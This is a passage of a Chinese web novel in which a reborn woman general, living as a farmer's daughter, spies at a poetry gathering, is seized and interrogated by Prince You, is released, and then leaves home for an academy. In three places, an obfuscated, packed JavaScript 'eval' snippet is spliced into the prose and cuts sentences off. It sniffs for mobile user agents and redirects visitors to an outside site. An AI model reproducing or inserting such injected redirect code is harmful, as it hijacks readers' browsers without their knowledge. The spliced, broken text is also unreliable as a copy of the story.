“做生意的最怕不热闹,冲着玉衍君的名号就有大把的富贵学子赶着来望江楼送银子,那些个桌椅板凳值什么钱。”大哥像是已经看腻了,预备转身离开,临走时又看着打成一片的茶楼呢喃,“读书人不像读书人的样子,一言不合便要动手,简直比军中的兵痞还要痞上三分,我晁都城文人学士竟沦落到如此地步,真是可悲可悲……” 那位大哥沮丧地从人群里挤出去,初暒跟着他出来没有回去找哥哥,倒是在望江楼外绕了绕寻了一处好落脚的地方爬上二楼去了。 24. 玉衍 望江楼一楼大厅人声熙攘,二楼雅室却是平静幽香,初暒侧身沿着墙边悄声前进,试图探听到里面有人说话的屋子。 方才在那面摊打听到这望江楼正在举办诗会,可是据她所知,自年前起,苟旦就曾多次来晁都听讲,到底是什么诗会,居然办了这么许久? 前几日晁都城里忽然加强了警戒,这望江楼里却仍旧人来人往,围观大哥又说闹剧每隔几日就会演上一回,如此频繁的聚众闹事,官府为何连巡街小卒都不派上一个? 自守城卒吏按名册巡查柏桥村已经过去好几日了,可是在初暒身边并没有发生什么特殊的事情,她有想过那人或许是好心,可又一思忖发觉,那人如何知晓晁都城会忽然加强戒备,并且在那之前就将自己的姓名填补上,而且……为何那晚巡查的阵仗似乎要比她刺杀慕峰青那日还要大…… 初暒可独自进城的机会不多,有太多事情都无法及时知晓,因而她需得抓住每一次打听消息的时机。 虽然心中清楚此举十分冲动,但是明日过后她就要去安南山庄读书,自己倒是可以拍拍屁股潇洒走人,可是初家父母和兄长还留在柏桥村,不搞清楚到底是谁将初眠眠这三个字补进进城名册中,这个人又究竟是何目的,初暒实在不能安心离开。 幸好她耳力不错,即使隔着墙壁和门板也可以辨明雅室里有无人声,可等她巡过几间屋子后似乎觉得有些不对。 那位围观大哥曾言,冲着玉衍君的名号就有大把的富贵学子赶着来望江楼送银子,可她走过几间竟都只是空屋子。 没瞧见人,初暒索性也不摸着墙走了,她大摇大摆的随意推开雅间大门,在桌上抓起一把瓜果花生塞进衣兜里,疑惑,“人该不会都在楼下打架吧?楼下两派打的热火朝天,怎的正主连个架也不去劝一劝……” 她边吃边往前走,沿着二楼过道一直来到了远离街边的另一处连廊。 这里日光明朗,一抬头便可望遍晁都风光,初暒原先久驻边疆还从未见过这样宁静祥和的都城,竟看得入了神,此时却不知从哪里滚来一根竹签,正正停在她脚后跟将落之处,她没有留意一个踉跄过后险些滑倒在地。 这声响动恍若惊动了谁,初暒视线从地上竹签上抬起那瞬,连廊墙壁那侧的窗子忽然被人缓缓从内里拉开。 日光明朗,身后的都城风光宁静祥和。 春风好像也被木窗晃醒,吹散了初暒胡乱挽在耳边的碎发。 她愣住了。 房内那人也是。 楼下的吵闹声戛然而止,于是初暒听到他用带笑声音,说,“你这双眼睛,好似我一位故人。” 初暒也打量着他,笑说,“你这相貌倒也不像是百姓们夸张了。” 她在笑,于是那双眼睛更明亮了。 齐煴玥抑住心神,看向窗子一旁墙壁上悬挂着的画像,像是在确认什么,等他意识到应该留住窗外的女子时,再抬眼却只看见了一望无际的晁都风光。 美色误人。 消息没有探到,自己这张脸又暴露了。 初暒捏着方才拾得差点让自己滑倒的竹签往面摊走。 这竹签有果肉闻味道像是山楂,不是茶楼里准备的吃食肉串,那就是从外头来的。 文人雅士举着糖葫芦去望江楼参加诗会? 初暒怎么想都觉得滑稽,可灵光乍现之际又想起,无风无人,这竹签怎么会滚到自己脚下呢…… 她下意识在街上搜寻,目光在身后一个扛着稻草靶子卖糖葫芦叫卖的老汉身上顿住,她比划着手中这根竹签的长度一步一步朝那老汉走去。 “大爷,耽误您生意,打听个人成不?” 初暒长得俊俏,脸上堆出笑来更显乖巧,卖糖葫芦的大爷本就喜欢孩子,于是呵呵笑道,“丫头,想打听什么?” “我见一个男子在您这儿买糖葫芦,那人买完就往望江楼去了,他刚刚乱扔竹签绊了我一跤,我气不过,因而想打听打听他的相貌好去寻仇。” 她这话说的十分孩子气,于是老汉也像哄孩子似的应和她,“哦呦,那可真不像话,我这糖葫芦平常卖给妇人与孩子最多,不过……今日确有一位长得老高的英俊儿郎因馋嘴来我这买糖葫芦了,要说相貌嘛是记不清的,印象中只记得他腰间配着玄色宝剑,身上还有一股极淡的枇杷叶之类的草药香味。” 批把叶之类的药草香? 枇杷叶是止咳药草。 初暒想起初次进城搭的那架马车。 “晁都城中受委屈的人多的数不清呢,丫头虽说绊了一跤,但万幸没伤着,你一个人就莫要在外头闲逛了,快快回家去吧。” 她将手中的竹签递给卖糖葫芦的老汉,“知道了,多谢大爷。” 初暒道过谢转身往回走,可是越走便越觉身后的脚步声越大,忽然……她感觉自己的后颈一阵刺痛,身子一软便什么也觉察不到了。 “人呢?” 领命来寻人的近情飞快跑到街边张望许久,却并没有发现先生口中那位高挑瘦弱的小姑娘。 “先生,今日天气不错,日头也耀眼,您盯着这画像太久,也该歇歇了。” 这是说他眼花呢。 齐煴玥扬了扬唇没有回他,只抬手将挂在墙上的画卷轻轻搁置在书桌上。 近情歪着脖子,也看向这幅先生闭着眼睛也能摹出来的画作。 这画上是一位骑着奔腾骏马的少年郎,他手执坠缨大刀,身着残破战甲,满身满脸的污血与黑烟,就只有那一双眼睛清澈明亮、恣意张扬。 “我再眼花,也不会将那双眼睛认错。” 近情问,“可您说,那个小姑娘高挑瘦弱,谁家高挑瘦弱的小姑娘会手执坠缨大刀,身着残破战甲呢?” 这话倒让齐煴玥眉头轻蹙,他垂着眸默了片刻,才用衣袖拂散画上不存在的虚尘后将画卷收进画筒,“楼下众人可散了?” 近情点头,“回来的时候我见掌柜已经将崭新桌椅摆好,各地学生也都重又聚在一处论学了,咱们这里动静这么大,可是怎的晁都城大小官吏问都不曾问一声?” 齐煴玥:“想来是有人替我打过招呼了。” “谁这般多管闲……”像是想到什么了,近情赶忙转了话头,伸手为先生点茶,“今日我在楼下闲逛时,无意间听人说北漠和亲使臣一行人不日就会抵达晁都,宫里派了人去迎,可传回的消息却不像是好的。” 齐煴玥颔首捏着茶盏询,问,“近日可有祖父与兄长的信件回来?” “不曾有呢……” 近情有些支支吾吾,齐煴玥笑了笑,道,“你直说就是。” “自从您从幽王车辇下来的消息传开后,朝中每日都有许多弹劾齐老将军与大公子的奏折,想来是老将军忧心在此风头上生出事端,这才没有寄出书信。 “此番是我任性拖累他们了。” “您别这么说,老将军和大公子最是疼爱您了,您做什么他们都会支持的。” 齐煴玥顿了片刻,道,“明日过后望江楼的诗会便停了吧。” “啊这是为何?您忙了这么些天,好不容易将这许多文人学士凑在一处,若是诗会办的再久一些,您的名望定能传遍整个中北大地!” “这诗会办了多久,喜我的与恶我的便争斗了多久,他们不该因我受下这诸多怨气。” 近情张了张嘴,还是没有多说什么,他家先生原以为此次高调回晁得到哪怕骂名也心甘情愿,可不想仍有许多人愿意为他说好话,自己受辱无妨,旁人因他受委屈却是不行。 “可听到了?” “回先生,听到了,近情这就去安排。” “映月关一战北漠打了个窝囊仗,他们此行必然会掀起一阵风浪,鹬蚌相争,祖父和兄长镇守的西南方恐怕也不会太平。”齐煴玥将早已写好夹在书页中的字条递给他,“将此物传送给祖父,希望我的提醒不会太晚。” “是。” 近情弯腰接过字条,躬身退出房门,他来到望江楼后院鸽舍选出一只敏捷的白鸽,将字条塞进鸽子右脚竹筒中用力一丢,白鸽借力展翅高飞,不一会儿便不见了踪影,近情用手掌遮阳,仰着脖子再三确认白鸽已经飞远后才转身回去。 白鸽许是久不出笼,一迎风飞起便开始肆意飞旋,就在它蓄力冲向更高的天空时,忽然眼前一黑,不等鸽子咕咕惊叫出声,它圆滚滚的肉身便整个落入一个男人的手掌之中。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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跟在薛霁身后的无恩见状,从衣兜里掏出一张字条回禀,“主子,这是玉衍君往西南传出的信件,属下今日在望江楼巡看时,还发现这女子趁着一楼大厅学生闹事,竟鬼鬼祟祟摸到玉衍君的屋子去了,我使暗器阻拦她却被躲过,属下觉得此人行动敏捷、行事不同于寻常女子,所以将其带回询问。” 薛霁接过字条,读过后又抛给无恩,道,“送出去罢。” “是。”无恩瞥了一眼躺在地上的人,“那这女子……” “齐玉衍可见过她?” “见过,他们还说了话。” “能和玉衍君说上话的女子可不简单。”薛霁抿了一口茶水将杯盏搁下时,瞧见站在一旁的高寒皱着眉,一副自己可能活不长的模样,于是问他,“你想说什么?” 高寒想了想,走过去附身在薛霁耳边低语一句,而后无恩见自家主子罕见地挑了挑眉,嘴角竟扬起一抹淡淡笑意来。 “把他带来。” “是。” 高寒领命后,躬身退出。 无恩想再问如何处置这女子时,却看到主子用指尖轻轻点了两下桌面,说,“地上寒凉,你还要躺到几时。” 薛霁话音刚落,方才还躺在地上的女子缓缓睁开眼,她用肩膀撑着身子用力坐起时胸前衣兜里塞得花生瓜果叮叮咣咣散了一地。 无恩见她既能坐却不跪,上前踹了她一脚,呵道,“大胆刁民,你可知道座上贵人是谁,为何不跪!” 初暒被踹的差些仰倒,可等她直起身子后仍然稳稳盘坐在地,并皱眉反驳,“你不说,我如何知道座上这位贵人是谁,倘若他是北漠、南夷细作,我真跪了,那不成中北百姓口中的奇耻大辱么。” “你……” 无恩顾忌主子身份,只得瞪着那刁蛮女子硬生生吞了这口堵在喉咙的怒气。 方才听已经领命离开的男子说,自己可能被他们盯过时,初暒就清楚座上这位贵人已经知晓自己姓甚名谁了,所以她直视着那位正巧坐在屋内阴影中看不清面容的男子,问,“是你在晁都出入城登记册籍上将我的姓名加上的?” 不肯跪也就罢了,竟敢对着主子直呼为你,无恩气的又要抬脚,只不过这念头刚出现,他就听见自家主子干干脆脆答了一声,“是。” “慕峰青被刺杀那日是你派人在都城中跟踪我的?” “是。” “你的属下探听我数日,就只是因为你想知道我是谁?” 这个问题,薛霁思忖了片刻才道,“是。” 自己问的快速,这人也回答的利落,暂时没有觉察到他的杀心,初暒大着胆子问了一句,“那思朝暮的伙计范思也是你杀的?” 25. 男装 “那思朝暮的伙计范思也是你杀的?” 他反问,“你心中过意不去了?” 这人不承认,也没有否认,初暒知道自己只能问到这里了,识趣的说,“到你了。” 堂堂幽王殿下何时有这样的耐性与人问答,无恩心中冷笑且已经做好拖此女子出去或喂隼或喂狼的准备了,可世事难料,他再一次听到主子问她,“为何要杀慕峰青。” 这人早知道在思朝暮刺杀慕峰青的人是她,不仅没有将自己捉拿归案反倒作假助她逃脱嫌疑,初暒猜不到他的目的,但心中明白,那绝不是因为好心。 “斩首映月关叛国贼慕初那日,慕家家奴曾当街策马将我踏伤,我那会儿身子本就不好,被踏伤后险些……死了,然慕府家奴只是坐在马背上看着快要丧命的我如同看着草芥一般,我家不服,数次带着诉状告官,可是慕峰青伙同都城官员屡次把为我伸冤的兄长从衙门打出,晁都虽大,但无人为我做主,于是我自己前去找他索命。” 在聪明人面前,任何花言巧语都是自作聪明,所以初暒实话实说。 “思朝暮的竹筷弓弩,你如何做得出?” 老爹为她准备书屋估摸已经被他们翻了个底朝天了,初暒答,“我自幼就喜欢读机关兵法,是照着书本做的。” 坐在阴影中的男子像一尊没有情绪的雕像,空气中也感觉不到任何杀戮与死亡的气息,可是初暒每回一句,心中就咯噔一下。 她终于意识到前世当兵训练过的被俘审讯经历让自己显得太过冷静了,冷静地不像一个久病初愈、没有见过任何世面的农户之女。 她慢慢低下头抿着嘴思考如何让自己的言行不再怪异时,忽听头顶那道声音又问一句,“你既见过玉衍君,可同他说过什么?” “嗯?” 初暒还在胆战心惊,可这话头怎的跑到玉衍君那儿了,她正纳闷,却闻到一袭草药香气又感觉有丝温暖从自己的耳垂滑到下巴又轻轻抚到了喉头,“他说我这双眼睛……” 那温暖用力一握,初暒的脖子便被迫支起自己脑袋,她双手被绑在身后无力挣扎,因而只得仰着头扭动着身躯试图逃离,她的眼睛因为疼痛与窒息涌出泪来,直到快要失去意识时才被人饶过。 握着喉间的力道轻了些,初暒终于醒过神来大口呼吸,“好似一位…故人……” 颈部的手掌从喉间掠过下巴,进而又用指背在她的脸颊摩挲,他任由她的气息吞吐在自己白皙、青筋分明的手腕上。 初暒的视线顺着他的手、搭在手腕的玄色衣袍一直向上游走,直到对上了那副面容。 今日见过齐煴玥,她原以为那相貌已是凡人中的极品,可眼前这位的真容竟比凡间极品还要漂亮几分。 这屋子瞧着像是在牢狱里腾出的一间会客室,三面围墙,冷风却能从四面钻进她的衣领,初暒的脸颊被蹭的温热,冷汗倒从背脊上滑了下来。 “在晁都城里住了许多年的人都知晓,若是将城中男子的相貌排个先后,望江楼的齐煴玥也只不过是个次名,排在头名的那位才真正是让人见了都忘记喘气的天上仙君……” 面摊老板娘真挚的话语还在耳边,但初暒只听到了周围微不可查的风声。 薛霁打量着这个冷静的冒出虚汗的女子,笑问,“怕我?” 初暒的脖子被他扼住,即使只能仰着头,也在笑,“王爷,这是第四个问题了。” 像是没料到她会这么说,薛霁垂眸,叫人看不出他的神色,默了一会儿他起身接过无恩递来的帕子,漫不经心地擦拭着自己的指尖,道,“既知道了我是谁,还敢这样回话,无恩,拖出去喂隼。” “是!” 无恩抱拳答是,喜滋滋的就预备将人拖出去。 “幽王殿下,我有意刺杀朝廷命官,您不杀反救,是何用意?” “这是你第四个问题?” “是。” “本王若是答了,你明白这意味着什么吗?”她不语,薛霁居高临下的看着这女子,“不要将机会浪费在你已知晓答案的问题上。” 初暒扯着嘴角,苦笑,“与您多说一句,我便能多活一瞬。” “聊了这许多,你还觉得自己能活着出去?本王观你不像如此天真之人。” “我非但天真还十分惜命,因自幼体弱多病,能活到现在实属不易,故而踏伤我的,我要取他性命,掐捏我的,我要诓他去死,您想知道我是一个什么样的人,就得先让我活着。” 高寒曾言这女子惯会花言巧语,今日倒是让他亲耳听见了。 薛霁撩袍重又坐回了阴影之中,昏暗里,他瞧着反手被缚盘坐在地却依然昂首挺拔、气焰跋扈的女子,竟也觉得她眉眼间有些似曾相识。 屋内安静了许久,初暒才听他像是嗤笑又像是嘲讽,“在本王面前提及体弱多病,杀了你倒显得本王心狠了,来人,送客。” 此令一出,静默在各角落的守卫却无一人动作,‘拖下去’这词常听,可‘送客’是要往哪儿送? 与无恩关系稍好的守卫求助的望向自己的兄弟,得到了先应声的眼色。 “是!” 守卫领命前来为自己松绑,初暒面上却仍不见喜色,果不然,就在守卫扶起自己后,她听到幽王嘱咐,“虔来山自年前征粮时就有山匪作乱,你入学途中最好小心为上,还有……” “你的兄长似乎还在面摊等你,莫要贪玩,尽早一同归家罢。” 心中的石头终于放了下来,初暒下意识想要行男子礼抱拳答谢,电光火花之际还是向他微微颔首,道,“记下了,幽王殿下宽厚,小女感激不尽,不知……” 她故意打了个顿,让屋内几人的目光都看向了她。 初暒指着地上散落的花生瓜果,“不知能否让我将这些吃食带走,我想带给兄长尝尝。” 还以为她要说什么感激涕零的话,无恩此时无语的快要将瞳孔翻成白色,但自家主子像是已经习惯这人的脑回路,抿了口茶,无所谓道,“自便。” 于是他们看着这位奇女子蹲在地上吭哧吭哧将从自己胸前衣兜里散出来的花生瓜果重新塞进胸前衣兜,临走时还问了一句,“各位大哥吃不?我从望江楼顺的,味道还行,但是比起思朝暮还差点……” 路过挎着玄色宝剑的男子,初暒像是忽然想起什么似的,说,“对了这位叫无恩的大哥,原来你拿手的暗器是糖葫芦竹签子啊,扔的真准,下回别扔了,吃完记得还给那大爷,他洗洗还能用呢……” 无恩翻完白眼,又开始干呕,等守卫领着初暒转乌黑廊道离开时,他终于忍不住跳脚,“主子,那丫头是不是吓疯了,她方才都快死了,逃过一劫后居然还敢调侃我!” “所以你就是用糖葫芦竹签伤人,反被她觉察身份的?” “没想伤她……”无恩垂着头嘟囔,“属下只是见她行迹鬼祟的摸到了玉衍君的屋子,想让她出个丑罢了,主子,那女子身手敏捷、处事冷静,还有点缺心眼,看着不像是久病初愈的。” “可见过她被慕府马匹踏伤之日医治过她的大夫?” “见过,就是柏桥村的大夫,姓葛,高寒在他那处打听到初家眠眠被送回去的时候已经断气了,大夫还让初家准备后事来着,可是那会儿恰好有个疯癫道士路过他们村子,不知道使了什么回命偏方,竟将躺了六天的人救回来了。” “派人去寻那道士。” “是。” “让他们进来。” “是。” 无恩应声,推开身后一道暗门,将高寒与一位被打的鼻青脸肿的少年领了进来。 薛霁没有抬眼,只问,“是她么?” “方才那位女子似乎有意将自己的声调吊高,但她的声色确实与我在思朝暮听到的少年声色一致。” “她将你牵连至此种境地,若想取她性命现在还来得及。” “人各有命。”那少年屈膝匍匐跪地,“是范思自己甘愿效忠殿下。” “等你不会被揍得鼻青脸肿时再与本王谈效忠,退下罢。” 范思用力叩首,“是” 高寒将人送走,无恩仍旧不解,“不过是在权贵马蹄下受了委屈,能捡回条性命就已经是天大的福分了,可我瞧那女子眼中的恨意像是要将慕峰青千刀万剐了似的,主子,虽说亲眼看见,可属下还是想不明白一个农户之女为何敢刺杀军中将领。” “她将真话与假话混在一处,就是为了让人想不明白,只因不明白才会好奇,旁人若是对她生出了好奇之心,她才能活得长久。” “所以您是故意将虔来山匪贼一事透露给她的?那初眠眠虽然狡猾……却毕竟是个女子,万一她因惧怕辜负了您……” “从她独自刺杀慕峰青到今日进城寻找盯着自己一家的幕后之人,你觉得她怕过什么?”薛霁起身看着无恩,“不要小瞧任何人,女子尤其。” 无恩连忙低头称是。 “她临走时调侃你,既不是疯了也不是缺心眼,而是在告诉本王,她睚眦必报。”薛霁冷笑眼里涌现出一丝凌厉与玩味,低声道,“她自站起来后,口中每句话都是威胁。” “啊?” 薛霁从他面前走过,幽幽道,“外出公务时偷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888074|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食,技不如人反被盯梢之人觉察,自己去院里领罚。” 无恩终于反应过来,哭丧着脸低头,“无恩知错,这就去领罚。” 高寒回来,见无恩一副欲哭无泪的模样,有些摸不着头脑,他安慰似的拍了拍兄弟的肩膀,而后小跑着追了出去,“主子,望江楼方才送来了帖子。” 初暒跟着守卫七拐八拐的走出这座不见天日的院落后才发觉,太阳已经落山,街边小馆门前的灯笼也都零星亮起。 见院里头走出了个姑娘,守在门口的卫兵瞪着眼睛,就差把‘真的假的’四个字写在脸上,他们见送人出来的同伴对自己点了点头,于是重又正眼驻守。 初暒回头想看清院落牌匾,却并没有在上头看见任何一字,只得遗憾地抬步离开。 她此时并不知道,这十几年来,自己是竖着从念弥陀走出来的第一位女子。 正值傍晚饭点,热心老板娘的面摊仍是热气腾腾、人来人往。 初暒看了一会儿坐在各桌吃面饮茶的食客,并没有发现奇怪之处。 可是…… 初明晌午才在那儿说自己兄妹二人进城是为了置办上学要用的东西,下午幽王就叮嘱自己上学路途要小心为上。 他探听消息的速度也忒快了…… 莫非在这晁都城里,处处都有那位闲散王爷的眼线? 初暒打了个寒颤。 走近面摊却没有见到兄长,初暒四下寻觅了一番才看到初明正抱着大大小小的包裹,蜷缩在离面摊不远的墙角。 “哥?你怎么坐在这儿?” “眠眠,你终于回来了!”看见妹妹安然无恙的站在自己面前,初明顾不得自己坐得发麻的双腿,起身后一把揽住她,语无伦次的说,“许久不见你回来,还当你出事了,想去寻你,可又怕你回来找不见我,幸好你回来了,不然哥就要被吓死了!” 初暒从他怀里挣开,抬手将藏在衣兜里花生瓜果全部掏出塞给兄长,“望江楼热闹的得很,我一时贪玩忘了时辰了,这些是我从那里顺的,你等了我许久肯定饿了吧,先吃点东西垫垫。” 手中的花生已被压扁破裂,一些稀罕的果子也在碰撞中晕出了乌黑的斑块,饶是这样,初明也因被妹妹惦记感动的稀里哗啦,他将手里的东西倒进自己的衣兜,提起满地的包裹匣子,笑道,“带回去也给爹娘尝尝吧。” 前世她也有兄长,可是她的兄长却从没有正眼瞧过自己。 作为家中唯一的男丁,慕峰青就像慕维之戎马半生的活战功,只因为这个儿子能让他在族中立起门楣,也能让他在高攀的妻子娘家昂首挺胸。 而慕峰青显然清楚自己在父母心中的地位,故而从不将家中姊妹放在眼中,可笑她幼时却总是想同兄长一齐出门同友人玩耍,直到长大了才知晓能自由出入府门的殊荣只有男子才可享有。 初暒跟着初明回家,一路上静静听着他今日在城里的见闻,时不时附和上几句,只是这样,她也能感觉到兄长在疲惫中的心满意足。 一路闲谈,回到柏桥村已是夜深人静时。 见儿女平安归家,初大年叮嘱了几句上了学堂后不要太辛苦、想家了就回来之类的便架不住体乏,先回房睡了。 于嫣红将温好的饭菜端出来,看着孩子们吃了又打发初明赶快睡觉明日再收拾后,才将初暒拉进了房里。 初暒的床上整整齐齐放了两身衣服。 “娘,这是?” “给你做的新衣裳呀。”于嫣红取了上面那套藕粉色的衣褂和袄裙比划在初暒身上,满意道,“你肤色白,这颜色将我眠眠衬的越发娇俏了。” 房内烛火昏暗,哪能瞧出什么颜色,不过是一位母亲看自己的孩子怎样都是好的罢了,初暒笑笑,低头抚摸着衣服上用密密针脚缝上的花色纹路,“娘,您前些日子一有空便做女红就是在为我做衣裳吗?” “可不是,年前事多,都没顾上给你们做,你在外头读书,没身体面衣裳可不行。” “谢谢娘,这衣裳可真好看。” 初暒将褂子比在自己胸前,于嫣红抬手为她整理衣领时看到她勃颈处有一道暗红,红的已经泛出了印子,忙问,“眠眠,你这脖子是怎么回事?” “啊,下午总感觉这里有虫子咬我,又疼又痒的一直挠来着。”初暒下意识用右手去捂那处印记,衣袖从腕间滑落时又忽然想起了什么,赶忙再用左手将衣袖扯上去。 于嫣红将女儿的动作全部看在眼里,却并没有多说什么,只是弯腰将床上的另一身衣装捧给她。 初暒低头看去,发现这是一套男装。 26. 梦醒 这套男装是灰白色的,裁剪缝制的十分干练大气,初暒瞧衣领、肩膀宽窄不像是老爹或是初明的尺寸,有些纳闷,“这身衣裳也是给我的?” “是啊。” 于嫣红脸上的笑意极淡,她拿起外衫比在初暒身后打量着衣服长短,轻声说,“这身衣服好似比那套藕粉色裙装还要合你的身。” 她一边俯身整理散落在床上的衣裳,一边聊家常似的回忆,“你被马儿踏伤醒来后的第二天就独自进了城,那天娘在家中没找见你,差点急疯了。” 初暒心里揪了一下,但还是没有接话。 “后来明哥带你回来,你晕倒在村口被你爹抱回家中,娘给你换衣服的时候才看见你身上穿的是明哥的衣服,衣服破了个口子,棉花被扯去大半,背后还有血迹。” “娘看遍你全身却不曾发现伤口,问了明哥他也只说你去晁都有事要做。”于嫣红将两套衣裳整整齐齐叠好,看向女儿,“自你从马蹄下捡回性命后,整治了狗眼看人低的相姑婆,火海中解救了村长一家,甚至为全村借到了粮食,娘心中即为你骄傲,可又怕你做了那只被歹人瞄准的出头的鸟。” 初暒鼻腔一酸,慌张地低下头去。 “你决定去安南书院时娘心中是很高兴的,因为娘自小就疑惑,男子读书后可入仕可经商,那女子除了嫁人以外还有何种出路,如今娘的眠眠也要去读书了,娘不奢望你入仕经商,却盼你不要辜负能随心所欲地读书的这段日子,明日你就要独自去安南庄了,娘知道你一直是个有主意的孩子,有些事情你不想说,那娘就不问,只是外头天高路险,娘只求你平安。” 困在眼眶里的泪珠终于逃脱了束缚,初暒抬手在眼睛上抹了一把,闷闷‘嗯’了一声。 于嫣红将比自己还要高出半头的女儿拥入怀中,调侃,“别是还没离家,就已经开始想爹娘了吧。” 初暒被逗笑,觉得有些丢脸,便从她的怀里退了出来。 “行了,那书院虽说叫安南,路程却比咱们家到安南庄还要远上许多,快快歇下,明日还要早起呢” 于嫣红嘱咐完,揉了揉女儿的头发便欲离开,就在她快要阖上房门时,初暒忽然喊住她,“这身男装我很喜欢。” “娘,我会照顾好自己的。” “嗯,娘信你。” 房门被轻轻拉上,屋内重新安静下来。 初暒熄了灯侧身躺在那两身衣裳旁边,用指腹摩挲着灰白衣衫上的棉线织纹,脑海中浮现出来的却是那身玄色衣袍。 “虔来山自年前征粮时就有山匪作乱,你入学途中最好小心为上,还有……” “你的兄长似乎还在面摊等你,莫要贪玩,尽早一同归家罢。” 这话也是威胁。 只有有求于人的人才会威胁别人。 在行刺慕峰青之前,初暒就清楚自己可能会被人盯上,但万没想到那人会是幽王,而百姓谈之色变的幽王殿下抓了她又不杀她。 他有什么目的? 又因何事有求于她? 夜半风轻,初暒的思绪在一团乱麻中逐渐虚浮,前一日没有闭眼,今日又奔波了整整一天,她单手搭着身边的衣裳,眼皮一沉,终于睡去。 四周喧闹,到处都有酒坛碰撞、畅饮划拳的声音,明明交代过数次军营中禁止饮酒,怎么还有胆大的敢在她眼皮底下违规,中箭的左胸还是很不自在,但比起这个,漠视军令的小子们才更让人头疼。 撑着伤躯从破败的行军床上站起,她一步一颤的向前走了两步撩开军帐才发现,营地内一个人都没有。 “祝东风!” 她用力大吼了一声,竟没有得到回应,于是大骂,“臭小子又跑哪儿疯去了。” “这儿呢这儿呢……小慕将军您终于醒了!” 一个小兵听见她的声音,像是为了壮胆又拽了一个同伴陪着才跑了过来。 这两人是个生脸,她没什么印象,只问,“方才都是谁违抗军令在外饮酒?人都哪去了?” 其中一人嘿嘿一笑,道,“回小慕将军,赤霄军谁敢不听您的话啊,他们饮的不是酒,是水,饶是用酒坛灌水过过干瘾,一听见里头您的动静,也立即吓得跑回军帐了。” “扶我去看他们。” “啊?这……”两个小兵面露难色,他们俩面面相觑了好一会儿才,回,“是!” 这片营地不大,所以军帐里总是很多人一起挤着睡,赤霄军这些年势头很盛,招兵买马处处都要用钱,朝廷虽说拨了好几批银子,可是等钱送到前线就所剩无几了。 她看着士兵们住着的破烂军帐心里很不是滋味,心中还在出神下回该从何处搞钱,再抬眼却发现这两个小兵带她走的地方越来越荒凉。 “你们要带我去哪儿!” 她厉声质问,奈何这两个小兵像是没有听到似的,只管将自己送往某个地方,就在她握拳预备放倒他们时,听见其中一人,说,“将军,他们都在这儿。” 杂草枯枝下是乱石黄土,乱石黄土上是孤零零一座没有刻字的碑。 心口猛地一阵刺痛,她张着嘴却嗥叫不出声来,她想抓住两个小兵问问这碑为什么会在这里,可再回头只看见苍茫大地之中唯有自己一人正对着石碑癫狂流泪、无声嘶吼。 耳边忽然一热,初暒挣开眼睛才恍惚方才竟是做梦了。 这是重新活过来之后第一次梦到他们,可是他们好像并不愿意见她。 哭喊还哽在喉头,热泪却已经穿过她的脸颊发间流淌进耳廓边缘,像是打开了闸门,初暒再也抑制不住自己的思念与仇恨,将手搭在自己前额任由泪水在眼眶翻涌。 当天边第一缕曙光从窗缝里钻进来时,初暒已经将埋葬在那石碑下的五千名兵士的姓名挨个默念过一遍了。 雄鸡鸣了三声后,初暒起身将灰白色男装塞进包袱,等洗漱完才换上那套藕粉色衣裙。 “眠眠,快起床啦,村长家的苟旦听说你要回安南书院上学,一早来叫你了……诶?眠眠你怎的起这么早?哎呀这套衣裳你穿着可真好看!” 初明一大早就精神抖擞,硬是让清晨朦胧的小院焕发出勃勃生机来。 苟旦已经在院外等着了,于嫣红将一包干粮塞给他叮嘱,你们俩带在路上吃,初大年在旁边掂量着妻子给女儿准备的包袱,担忧道,“眠眠,要不还是让明哥送你去书院吧。” “哥哥送我去还得再颠回来,麻烦。”初暒把被塞的满满当当的包袱稳稳甩在肩上,笑道,“你们别担心,我如今身子好了,满满都是力气。” 自己乖巧懂事的闺女如今要去外头念书了,初大年与于嫣红心中的不舍难以言表,从起床就开始莫名其妙傻乐的初明此刻有点绷不住了,他大跨一步将妹妹揽在怀里,用带着哭腔的声音,道,“要是想家了就给哥带个信,哥接你回来。” 初暒笑笑,拍了拍哥哥肩膀,从他怀里出来后认真地看着兄长,道,“哥,你做点心的手艺我觉得即便在晁都城内也是能排得上头名的,扛着扁担叫卖不是长久之计,我去读书用不上钱,你将卖点心的银子都攒下来,等我也赚钱了,咱们在城里寻一间铺子做点心生意。” 她说的老气横秋,好似只要自己开了铺子就能赚得盆满钵满似的,于是初明哄孩子似的应承,“好,那哥先好好攒钱,然后和眠眠一起开铺子。” “还有爹娘。” 听女儿喊自己,初大年赶忙往前走了一步,“哎。” “等开春后咱们村的粮食收的差不多时,您就需同苟村长将借的粮食还给陈富户,有借有还,说不定往后还能给有事相求留条后路,经过征粮一事,咱们也知道农户手里有粮心里才不慌,若是有机会,您可以收一些便宜点的荒地,咱们种自己的地总比给人家做长工强些。” 拓地种庄稼这事,其实初大年和于嫣红一直都将其放在心上,只是总狠不下心来摊钱收地,此时听闺女这么嘱咐,才知他们一家都想到一处去了,当下满脸喜色的点头,“晓得了,爹娘都听你的。” “爹娘、哥哥,我说完了,你们保重身体,就送我到这里吧。” 初暒向他们挥挥手,和苟旦转身离去。 即使不回头,她也知道身后的家人们正看着自己的背影抹泪,她更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888075|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 